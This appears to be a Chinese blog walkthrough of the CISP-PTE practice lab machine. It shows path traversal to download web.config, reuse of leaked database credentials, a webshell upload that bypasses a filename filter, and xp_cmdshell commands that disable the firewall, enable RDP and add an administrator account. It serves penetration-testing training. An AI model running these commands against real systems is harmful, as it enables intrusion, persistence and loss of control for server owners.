cisp-pte靶场(cisp_pte)

文章前言

CISP-PTE考试满分100分,包括20道选择题(每题1分),5道操作题(每个key10分),1道综合题(30分),本篇文章对其中的操作题进行实践操作

环境搭建

Step 1:解压靶机环境压缩包

Step 2:使用Vmware Workstation打开环境

cisp-pte靶场(cisp_pte)

登录密码:admin123

cisp-pte靶场(cisp_pte)

成功登录:

cisp-pte靶场(cisp_pte)

靶机攻防

信息收集
端口扫描

首先进行端口扫描确定开启那些服务:

  • 1433:Sql Server 服务

  • 27689:Web服务

cisp-pte靶场(cisp_pte)

之后发现一个文件上传与下载系统:

cisp-pte靶场(cisp_pte)

目录扫描

使用御剑扫描目录:

cisp-pte靶场(cisp_pte)

访问http://192.168.59.139:27689/robots.txt获取信息,之后查看到一个affix目录

cisp-pte靶场(cisp_pte)

之后访问http://192.168.59.139:27689/upfile/affix/提示列目录失败

cisp-pte靶场(cisp_pte)

之后访问http://192.168.59.139:27689/admin/file_down.aspx,发现缺少参数file

cisp-pte靶场(cisp_pte)

文件下载

之后构造参数file进行测试,从中可以获取当前web网络路径信息

cisp-pte靶场(cisp_pte)

之后尝试使用../向上回溯一层目录:

cisp-pte靶场(cisp_pte)

发现可以成功回溯一层目录,之后通过多次fuzz之后最终回溯两层目录到web根目录并下载web.config

cisp-pte靶场(cisp_pte)

之后从web.config中发现数据库账号密码信息:

cisp-pte靶场(cisp_pte)

连数据库

之后使用上面发现的数据库连接信息连接数据库

cisp-pte靶场(cisp_pte)

之后获取Web账号密码:admin/asdadwn_d2112

cisp-pte靶场(cisp_pte)

登录WEB

之后使用之前获取的账号密码登录WEB系统

cisp-pte靶场(cisp_pte)

之后我们成功获取到了第一个Key:4k3s9m3d

cisp-pte靶场(cisp_pte)

GetShell

之后通过文件上传功能上传Webshell

cisp-pte靶场(cisp_pte)

很遗憾的发现不允许上传,看来是有限制:

cisp-pte靶场(cisp_pte)

之后发现管理文件模块有一处提示:\\”文件名过长会被系统截取包括系统时间在内的前32位字符作为文件名,请上传的文件名称不要过长,为您带来的不便,敬请谅解\\”

cisp-pte靶场(cisp_pte)

根据上面的提示以及实例我们可以将cisp-pte替换为我们新的webshell的名称,之后附加.aspx后缀进行上传:

cisp-pte靶场(cisp_pte)

cisp-pte靶场(cisp_pte)

之后连接webshell

cisp-pte靶场(cisp_pte)

之后在Web目录下找到Key2:

cisp-pte靶场(cisp_pte)

cisp-pte靶场(cisp_pte)

权限提升

之后通过Webshell查看当前用户的权限发现是普通用户权限

cisp-pte靶场(cisp_pte)

之后对C盘下Administrator文件夹内容进行访问发现拒绝访问,需要权限提升

cisp-pte靶场(cisp_pte)

之后通过浏览web目录发现历史web.config

cisp-pte靶场(cisp_pte)

进一步获取sa的账号密码信息,不得不说这为我们权限提升提供了最大的助力:

cisp-pte靶场(cisp_pte)

之后使用Navicate进行连接

cisp-pte靶场(cisp_pte)

之后通过执行SQL语句来查看权限,可以看到已然是system权限了,而这也是因为SQLServer默认是以system权限运行的,外加上sa权限导致我们可以直接获取到system权限:

use master;exec master..xp_cmdshell \\\"whoami\\\";

cisp-pte靶场(cisp_pte)

关防火墙

下面我们要做的就是关闭防火墙开RDP了,在这里为了执行系统命令我们首先开启XP_cmdshell:

use master;exec sp_configure \\\'show advanced options\\\',1;reconfigure;
exec sp_configure \\\'xp_cmdshell\\\',1;reconfigure;

cisp-pte靶场(cisp_pte)

之后关闭防火墙:

EXEC master.dbo.xp_cmdshell \\\'netsh firewall set opmode disable\\\'

cisp-pte靶场(cisp_pte)

开启RDP

下一步自然而然就是开启RDP进行远程链接了,命令如下:

exec master.dbo.xp_cmdshell \\\'reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d 0 /f\\\'

cisp-pte靶场(cisp_pte)

添加用户

为了实现RDP远程链接我们还需要创建一个用户账号并将其添加到管理员组:

    exec master..xp_cmdshell \\\"net user test12 123.com /add\\\"exec master..xp_cmdshell \\\"net localgroup administrators test12 /add\\\"exec master..xp_cmdshell \\\"net user test12\\\"

    cisp-pte靶场(cisp_pte)

    远程连接

    之后使用之前创建的账号进行远程链接操作:

    之后我们在桌面成功获取到Key:

    文末小结

    本篇文章以CISP-PTE靶机作为演示实例进行了渗透测试,其中尤为突出信息收集的重要性以及灵活运用MSSQL进行权限提升的技巧,综合来看是一个不错的实践性靶机

    原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34356.html

    (0)
    七芒星实验室's avatar七芒星实验室
    上一篇 2024年4月11日 上午8:36
    下一篇 2024年4月11日 上午8:38

    相关推荐

    发表回复

    您的邮箱地址不会被公开。 必填项已用 * 标注